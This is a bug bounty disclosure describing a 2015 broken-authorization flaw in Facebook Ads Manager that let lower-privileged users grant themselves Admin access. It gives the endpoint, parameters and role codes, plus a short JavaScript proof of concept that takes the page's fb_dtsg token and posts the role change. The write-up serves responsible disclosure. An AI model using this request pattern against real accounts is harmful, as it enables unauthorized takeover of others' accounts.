Bypass ad account roles vulnerability 2015

I discovered an authorization vulnerability in Facebook Ads Manager that allowed a user with limited access to an ad account to escalate privileges and gain administrator access.

The issue affected ad accounts shared through Facebook Business Manager. An agency or business account with a lower-privileged role, such as Analyst or Advertiser, could directly call the user-permission endpoint and assign the Admin role.

Issue Privilege escalation / broken authorization
Impact Escalate from limited ad-account access to administrator privileges
Bounty $8,000
Facebook Ads account privilege escalation vulnerability

Background

Facebook ad accounts supported several permission levels, including:

  • Admin
  • Advertiser
  • Analyst

Facebook Business Manager allowed businesses to grant agencies access to their ad accounts while restricting what those agencies were allowed to do.

For example, an organization could give another business account only Analyst access to an ad account. That account should remain limited to the capabilities assigned by the owner.

The Vulnerability

The backend endpoint used to add users to an ad account did not properly enforce the permission level of the user making the request.

A user with Analyst access could send a request directly to:

POST /ads/manage/settings/permissions/?action=add_user

The important request parameters were:

act=[AD_ACCOUNT_ID]
user_id=[USER_ID]
add_user_permission=[PERMISSION]

The available permission values included:

1001 = Admin
1002 = Advertiser
1003 = Analyst

By setting add_user_permission to 1001, a lower-privileged user could add a user as an administrator of the ad account.

Privilege Escalation Scenario

Consider a business that grants another business account only Analyst access to its ad account.

That agency should only have the permissions explicitly assigned by the owner. However, because the backend did not sufficiently verify whether the requester was authorized to assign higher roles, the agency could submit the permission-management request itself and create an Admin user.

This effectively allowed the agency to bypass the owner's assigned role restrictions and take administrative control of the ad account.

Proof of Concept

A simplified version of the request could be generated with JavaScript:

var xhr = new XMLHttpRequest();

xhr.open(
  "POST",
  "/ads/manage/settings/permissions/?action=add_user",
  true
);

var body =
  "act=__ACCID__" +
  "&user_id=__USERID__" +
  "&add_user_permission=__PERM__" +
  "&__a=1";

body +=
  "&fb_dtsg=" +
  document.getElementsByName("fb_dtsg")[0].value;

xhr.send(body);

Where:

__ACCID__  = Target ad account ID
__USERID__ = User to add
__PERM__   = Permission level (1001, 1002, or 1003)

Using 1001 as the permission value created an administrator.

Some sections of the original PoC were intentionally removed because they contained user IDs or email addresses.

Resolution

Facebook's security team acknowledged the vulnerability and deployed a fix that prevented lower-privileged users from assigning unauthorized roles.

Disclosure Timeline

March 14, 2015 — 01:27 Initial vulnerability reported.
March 17, 2015 — 03:35 Issue acknowledged by Facebook's security team.
March 17, 2015 — 08:00 Facebook confirmed the vulnerability had been fixed.
March 20, 2015 — 22:08 $8,000 bounty awarded.

1 comment